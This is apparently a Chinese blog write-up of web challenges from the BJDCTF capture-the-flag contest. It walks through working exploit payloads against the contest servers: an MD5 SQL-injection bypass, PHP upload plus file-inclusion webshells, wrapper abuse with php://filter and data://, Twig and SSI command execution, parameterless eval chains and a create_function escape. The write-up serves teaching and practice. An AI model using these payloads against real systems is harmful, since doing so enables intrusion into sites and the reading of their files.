BJDCTF Web Write Up

B

寒假终于开始啦,本来定的计划是趁早开始buuoj,顺便看看 htb,但是计划赶不上变化, hgameBJDCTF 几乎同一时间开始,快过年了又跟不少亲戚小伙伴逛吃逛吃,所以刷题计划就耽误了23333 下次一定补回来!

这次 BJDCTF 算是招新赛,题目并不是特别难,但是也从中学到了不少新姿势。比较遗憾的是自从第二天被 Y1ng 师傅分数超了之后就一直没追上23333。

Hello_World

  • tags:信息搜集、Fuzz
  • 难度:简单
  • 分值:50
  • 网址

打开网址明显是一个用模板搭建的站,稍微找了下版权信息,没找到23333(如果找到对应的模板可以直接搜索对应模板的ssti漏洞)。

对应这种题目的办法一个是瞎点,看能不能点出来有用信息,其次就是查看源代码的 href 指向,无论哪种都可以很轻松得得到线索 search.php。

打开search.php,会发现返回只有一行字 please make sure your id

这种情况一般需要抓包通过修改 header 来 bypass,用 burp 抓包分析

既然 response 的包有 id 这个字段,且字段名为 “guest” + base64(“guest”),构造一个带相同格式的 request 即可,一般网站的管理员不是 admin 就是 root,简单测试即可得到flag。

Easy_Upload

  • tags:文件上传、文件包含
  • 难度:简单
  • 分值:50
  • 网址

打开网页,左边提交信息,按钮是假的,可以不看;右边可以传头像图片,二话不说先传个小马上去。

报错文件类型不对,把后缀名改为 jpg 依然会报这个错,猜测是只判断了 MIME 类型,MIME 修改成 image/jpeg,可以成功上传,并且告诉了上传路径。

由于上传的是 php 文件,但是服务器会强行改后缀名为 jpg,如果要让我们上传的小马生效就必须通过文件包含来打配合,而 index.php 刚好就有文件包含的点,引用刚刚上传的图片即可 getshell 。

小 tips:php 的一个 feature,如果通过php代码 include 或者 require 一个文件,无论他的文件后缀名是什么,都会从读取该文件,将文件内的内容当做php代码执行。这就是为什么 include 一个 jpg 文件可以执行代码。

Hidden_Secrets

  • tags:信息搜集、md5爆破
  • 难度:简单
  • 分值:50
  • 网址

这题其实挺坑的,界面长得不像需要用 burp 的样子,因此就一直没往那边想,鶸口令字典跑一遍都不对,然后才想起来可能 header 藏信息了2333。

首先打开网站,index.php 会跳转到 transf1r.php,transf1r.php长这样:

23333这个前端抄的 bytesctf 的 ezcms

可以先折回去找 index.php 返回了啥信息,用 burp 抓个包就可以看到,里面有两个 flag,交了下都不对23333

竟然设两个假的flag,出题人出来请奶茶!

那就只能接着刚那个登录框了,刚才说跑了一遍鶸口令,都不太行,然后抓个包才看到这个

大爷的,谁家会把口令放 header 里啊 (╯‵□′)╯︵┻━┻

接下来就简单了,直接写个脚本爆破这个 md5 就行。

如果大佬懒得写脚本,可以直接提交到 https://www.cmd5.com/,也可以直接得到结果。

# md5.py
# Author : imagin

from hashlib import md5
for i in range(1000000):
	h = md5(f"{i}".encode()).hexdigest()
	if h == "d0970714757783e6cf17b26fb8e2298f":
		print(i)
		break

# output :
# 112233

拿到口令登录上去,查看源代码即可得到 flag

Easy_md5

  • tags:Sql md5注入,md5 passby
  • 难度:一般
  • 分值:100
  • 网址

打开网址是个提交框,随便交了两次,没啥反应,上 burp!

可以看到 header 里面有 hint

select * from 'admin' where password=md5($pass,true)

这个点做过原题,第一次做的话可能遇到这种会有点蒙,上网找 payload 可以很轻松地找到 ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是

select * from 'admin' where password='' or '6xxxxx'

等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

出题人到底是多喜欢 header!啥都往里放!!

绕过第一步之后,跳转到第二步的页面,这里一开始题目有个问题,就是出题人直接把这一部做出来跳转的路径暴露了,因此直接访问就可以绕过这一步23333

后来跟出题人反映了一下这个问题,他把改成了下面这样,看来 GXY 那个 sqli2 给他留下了很深的印象2333333

正经做的话,直接可以利用数组来绕过,构造 ?a[]=1&b[]=2 即可,由于 md5 函数哈希数组会返回 NULL,因此只要传两个不同的数组即可绕过限制。此外,php 0e开头的数字会当做科学计数法解析,因此只要构造两组md5值开头为0e的值即可绕过。

第三部分题目把 == 全部换成了 ===,在这种情况下 0e 大法失效,只能通过传数组来解决。

PS:这个题目其实还可以加难度,让第一个 === 两遍的变量都加上 (string),即

(string)$_POST['param1'] !== (string)$_POST['param2'] && 
md5($_POST['param1']) === md5($_POST['param2']))

大家可以稍微想想怎么 passby,答案会在 22 号晚 9 点公布在评论区。

Mark loves cat

  • tags:.git泄漏、变量覆盖
  • 难度:简单
  • 分值:100
  • 网址

打开是又是用模板建的站,瞎点啥也没点出来,御剑扫一下目录,得到 /.git/,githack 得到源码,稍微审计一下代码:

<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
	$$x = $y;
}
foreach($_GET as $x => $y){
	$$x = $$y;
}
foreach($_GET as $x => $y){
	if($_GET['flag'] === $x &amp;&amp; $x !== 'flag'){
		exit($handsome);
	}
}
if(!isset($_GET['flag']) &amp;&amp; !isset($_POST['flag'])){
	exit($yds);
}
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
	exit($is);
}
echo "the flag is: ".$flag;

简单来说变量覆盖的点就在那几个$$,直接用get传参数把$flag的值放到其他变量中,输出对应的变量。最简单的方式就是不传 flag,让19行的判断满足条件,让 $yds = $flag 即可。

这反序列化也太简单了吧

  • tags:反序列化
  • 难度:简单
  • 分值:100
  • 网址

直接给了源码:

<?php

error_reporting(0);
highlight_file(__FILE__);
//flag in /flag
class Flag{
    public $file;

    public function __wakeup(){
        $this -> file = 'woc';
    }

    public function __destruct(){
        print_r(file_get_contents($this -> file));
    }
}

$exp = $_GET['exp'];
$new = unserialize($exp);

这个没啥好说的,用 CVE-2016-7124 绕过 wakeup 方法即可

ZJCTF,就这?

  • tags:php伪协议、反序列化
  • 难度:简单
  • 分值:150
  • 网址
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];

if(strstr(file_get_contents('php://input'),'a')){
    die("嚯,有点意思");
}

if(isset($text)&amp;&amp;(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }
    include($file);  //next.php
}
else{
    highlight_file(__FILE__);
}
?>

用data协议绕过文件内容验证,然后用filter协议读取next.php的源码(这里想吐槽一下,既然莫得flag.php,还ban个毛呀23333)

http://222.186.56.247:8108/?
text=data://text/plain,I%20have%20a%20dream
&amp;file=php://filter/read/convert.base64-encode/resource=next.php

再把 base64 转回 text:

<?php
function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

稍微审计一下,是一个 preg_replace /e 模式下的代码执行问题,关于这个问题这篇文章总结的比较详细,这里就不多赘述了,最后 payload:

The Mystery of ip

  • tags:模板注入
  • 难度:一般
  • 分值:150
  • 网址

打开网址啥都没有,但是 flag.php 界面会读取 ip,尝试改了下 XFF,ip 可控,因此解题的关键肯定在这个位置。

但是一开始没想到模板注入,试了一下<>都没有被 html 编码,XFF 改为 <script>alert(1)</script> 可以成功弹窗,加上题目引用了 jQuery,因此一开始全在研究这个 jQuery 怎么读写文件,但是姿势水平实在有限,加上 jQuery 好像没有读写文件的权限,因此只能作罢,最后整出来一个能在网页里套娃的操作,大家可以去试试23333,也麻烦熟悉jQuery的师傅们能教教我怎么利用。

<button>一键换装</button> <div id="div1"><h2>123123</h2></div> 
<script> $(document).ready(function(){  $("button").click(function(){ 
$("#div1").load("/index.php");  }); }); </script>

后来在 Y1ng 师傅的提醒下才想到可能是 SSTI,然后随便打了下就出来了。。。

最后的 payload 和 flag:

Cookie is so stable

  • tags:模板注入
  • 难度:困难
  • 分值:150
  • 网址

跟上一个题目差不多,区别在于用了 Twig 模板,一开始题目有问题,报错把路径爆出来了,路径名里写着 Twig hhhh

其实不知道这个也可以做,首先要fuzz是什么模板,具体流程见下图

网图侵删,来自 CSDN

输入{{7*’7′}},发现返回 49,可以断定不是 Twig 就是 Jinja2,但是 Jinja2 不是 php 的模板,因此就只能是 Twig 了,上网找 Twig 对应的 payload 即可

{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

这个题目太坑了,一直做到夜里一点多还没搞出来。一开始以为过滤了很多符号,就一直在想怎么 passby, 然后上网搜这个模板的代码,随手沾了一段竟然执行了(里面包括很多我以为过滤了的符号),然后我就彻底蒙了,一直在那里猜这题用的什么神仙正则,然后问了出题人 Shana 师傅才知道原来完全没有过滤,报错是因为代码真的有错……后来找到 paylaod 之后又一直执行不了,心态崩了就睡觉去了,起来之后 Y1ng 师傅倍儿兴奋地说用我那个 payload 搞出来了,心态又崩了。最后发现是服务器给 cookie 编码了,所以命令才没法执行,需要手动把cookie改成没编码的样子,我特么真是弱智 (╯‵□′)╯︵┻━┻

Easy Serialize

  • tags:反序列化
  • 难度:简单
  • 分值:200
  • 网址
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(1);

class Read 
{
    public function get_file($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
class Show
{
    public $source;
    public $var;
    public $class1;
    public function __construct($name='index.php')
    {
        $this->source = $name;
        echo $this->source.' Welcome'."<br>";    
}
 
    public function __toString()
    {   
        $content = $this->class1->get_file($this->var);
        echo $content;
        return $content;
    }
 
    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source);
        }
 
    }
 
    public function Change()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
        }
    }
    public function __get($key){
        $function=$this->$key;
        $this->{$key}();
    }
}

if(isset($_GET['sid']))
{
    $sid=$_GET['sid'];
    $config=unserialize($_GET['config']);
    $config->$sid;
}
else
{
    $show = new Show('index.php');
    $show->_show();
}

代码挺简单的,主要思路就是通过 _get 方法触发 Show 类的 $sid 方法,由于_show() 和 Change() 都有过滤,无法读取 falg,只能通过 _toString 触发读取 flag,最后再把 class1 赋值为 Read 类,即可拿到 flag。

又是套娃奥

  • tags:无参数RCE
  • 难度:一般
  • 分值:369
  • 网址

又是套娃题23333,感觉这种题目已经被研究的差不多了,有了 if(),随便翻几层目录都可以了,所以下次出题可能就是好几层目录,但是每层目录结构都一样,你也不知道现在在第几层,只能硬着头皮一步一步分析23333。

打开网址得到源码,分析:

<?php

highlight_file(__FILE__);

error_reporting(0);

$file = $_GET['file'];

echo "Do you Like taowa<br>";

if(isset($_GET['handsomeyds'])){
	if(';' === preg_replace('/[a-z|\_]+\((?R)?\)/', NULL, $_GET['handsomeyds'])) {
		if (!preg_match('/et|na|nt|ss|info|dec|flip|bin|hex|oct|pi|al|po/i', $_GET['handsomeyds'])) {
			eval($_GET['handsomeyds']);
		}
		else{
			die("you cannot use the function");
		}
	}
	else{
		die("you cannot do this");
	}
}
else{
	echo "have a try";
}

还是得翻出来上一次 pdsdt 师傅的文章,这道题甚至直接拿上面的 payload就可以解,然后用 if(chdir(“..”)) 返回上一层目录,读取 flag 就好了,具体 payload:

// 扫描当前目录
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));

// 返回上级目录并扫描
if(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))))
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));

// getflag
if(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))))
var_dump(readfile(next(array_reverse(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))));

Easy Search

  • tags:vim泄漏、md5爆破、shtml命令执行
  • 难度:一般
  • 分值:250

打开网址,是个登录框,按照前面做题的经验盲猜 header 里有提示,burp抓个包

然而包里啥都莫得,看了下题目给了个 hint,访问 index.php.swp 即可获得源码

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&amp;*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

首先第一步要爆破 6d0bc1 这个md5,直接上个脚本一下就跑出来了,此处@弱智 Y1ng 师傅跑了四十多万个字母组合233333(一般 ctf 里的 hash 爆破都是数字)

# md5.py
# Author : imagin

from hashlib import md5
for i in range(10000000):
	h = md5(f"{i}".encode()).hexdigest()
	if h[:6] == "6d0bc1":
		print(i)
		break

一下就能跑出来是 2020666,一开始我还以为这题的关键在于跟那个随机字符串同步,但是试了半天也没成功,然后又想到出题人的套路,抓了个包,果然。。。

出题人出来挨打!

看代码,是会将 username 的值放到 shtml 文件中的,而 shtml 是可以执行 bash 命令的(JQuery 出来挨打),只要构造

<!--#exec Cmd="id"-->

就可以执行命令:

搜了一下,flag 不在根目录,也不再当前目录,ls ../ 试一下:

cat flag_990c66bf85a09c664f0b6741840499b2 即可得到flag

Ezphp

  • tags:preg_match绕过、weakphp、变量覆盖、php语法糖
  • 难度:困难
  • 分值:333

本次比赛最难的一道题,考点巨多

打开页面,是个炫酷的前端,不过没卵用,看源码得到一串 base32,解码得到1nD3x.php,访问得到源码:

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) &amp;&amp; $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) &amp;&amp; $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&amp;|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

源码巨长,一个一个来分析。

  1. 13 – 18 行:首先 QUERY_STRING 中不能有这些关键字,这本来没啥,但是跟其他过滤条件打配合就很要命了。
  2. 20 – 25 行:file 参数中不能带 http,同时 debu 参数需要绕过正则匹配函数 preg_match。
  3. 27 – 32 行:$_REQUEST 中的值(GET 或者 POST 方法传递的变量的值)不能有大小写的英文字母。
  4. 34 – 35 行:file 变量作为文件名,这个文件的内容应该等于一个特定字符串
  5. 38 – 43 行:sha1 绕过,跟 md5 大同小异
  6. 45 – 51 行:这里应该是最终拿 flag 的地方,可以先不管

总体来说,要先绕过 1 – 5 五个过滤,其中 5 最好绕,而且是跟其他四个条件没关系的,可以用上文提到的数组大法绕过。之后看 4,一下就能想到伪协议绕过,此处其实有两个选择,一个是 php://input,另一个是 data://,目前看来两个都可以,此外,直接引用自己 vps 上的 txt 文件也是可以的,但是由于 2 中过滤了http,因此只能用这两种方法;但是直接绕过的话有两个问题,第一 debu 作为关键字被过滤条件 1 拦截,但是无所谓,可以使用 URL 编码绕过;第二 file 变量的内容只有绕过了过滤条件 2 才可控,因此再看 2。绕过过滤条件 2 我们需要传递 debu 参数,这个 debu 的值不能等于 aqua_is_cute 但是需要被正则 ^aqua_is_cute$ 匹配到,这里需要利用 preg_match() 的一个 feature,就是在最后加一个 0x0a,依然可以被正则匹配到,而且这样变量 debu 的值就和字符串不相等了,完美绕过。至此,file 变量已经可控,但是 file 无论如何也得带字母,还得考虑 3,但是仔细看源码,接受参数的地方都是 $_GET,而 3 的过滤对象是 $_REQUEST,由于 $_REQUEST 在解析的时候有顺序,POST 过来的变量会覆盖掉 GET 到的同名变量,因此需要再 post 过去 file=1 就可以绕过。到现在前五个过滤条件就完美绕过了,现在再看伪协议的两个选择,input 是将 post 过来的数据全部当做文件内容,而我们还需要 post 过去 file=1,因此只能用 data 伪协议。这时候的 payload:

?%64%65%62%75=%61qua%5fis%5fcut%65%0a&amp;
file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61
&amp;%73%68%61%6e%61[]=1&amp;%70%61%73%73%77%64[]=2

POST
%64%65%62%75=1&amp;file=1

虽说我们已经绕过了前面所有的过滤,但是最后一个才是最难的。首先仔细看源码,5 中我们可以传递 flag 变量来使 $code 和 $arg 可控;其次过滤了可以执行命令或者读取文件的一系列函数,于是就去找类似 $code(”, $arg); 形式的双参数函数,可以找到 create_function()。

create_function() 类似于 python 中的 lambda,但是只会定义函数不会执行。

create_function('$imagin','echo $imagin');

// 上面的代码等同于下面的

function whatever($imagin){ echo $imagin; }

为了能够执行 php 命令,我们需要从 create_function 中逃逸出来,类似于 sql 注入,我们可以强行先闭合大括号然后再注释掉后面原本的大括号,中间的代码就可以执行了。

$imagin = "} phpinfo(); //";
function whatever($imagin){ echo $imagin; }

// 上面的代码等同于下面的

function whatever(){ echo } phpinfo(); //; }

因此我们可以构造 payload,由于能用的函数基本都被禁了(甚至 phpinfo 都被禁了),只能用一些非常规函数来 getflag,这个题由于 include 了 flag.php 因此 flag 肯定在变量里面,所以我们可以用 get_defined_vars() 来 getflag 。payload:flag[arg]=}var_dump(get_defined_vars());//&flag=create_function,再把他 URL 编码一下就可以成功执行了,执行成功之后可以看到该页面并没有flag,真正的 flag 在 realf1ag.php 里面。

终于做到这个题目真正的难点了,就是读取 flag,6 的 preg_match() 过滤了一吨函数,稍微看了一下 fgets 没过滤,但是 fgets 遇到 \n 就会停止读取数据,而php的文件指针又不像 c 一样能有 ++ 操作,所以我就卡在这一步了,后来全靠shana 师傅告诉了一个 define 函数可以定义变量,才勉强把这个题做出来,shana 师傅 tttttttttql!最后的 paylaod:

此外,这个题还有个正经解法,就是通过 include (~(php://filter/) 这种方式读取源码,中间的内容用~替换成URL编码,即可完成绕过。具体可以参考 Y1ng 师傅的文章

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.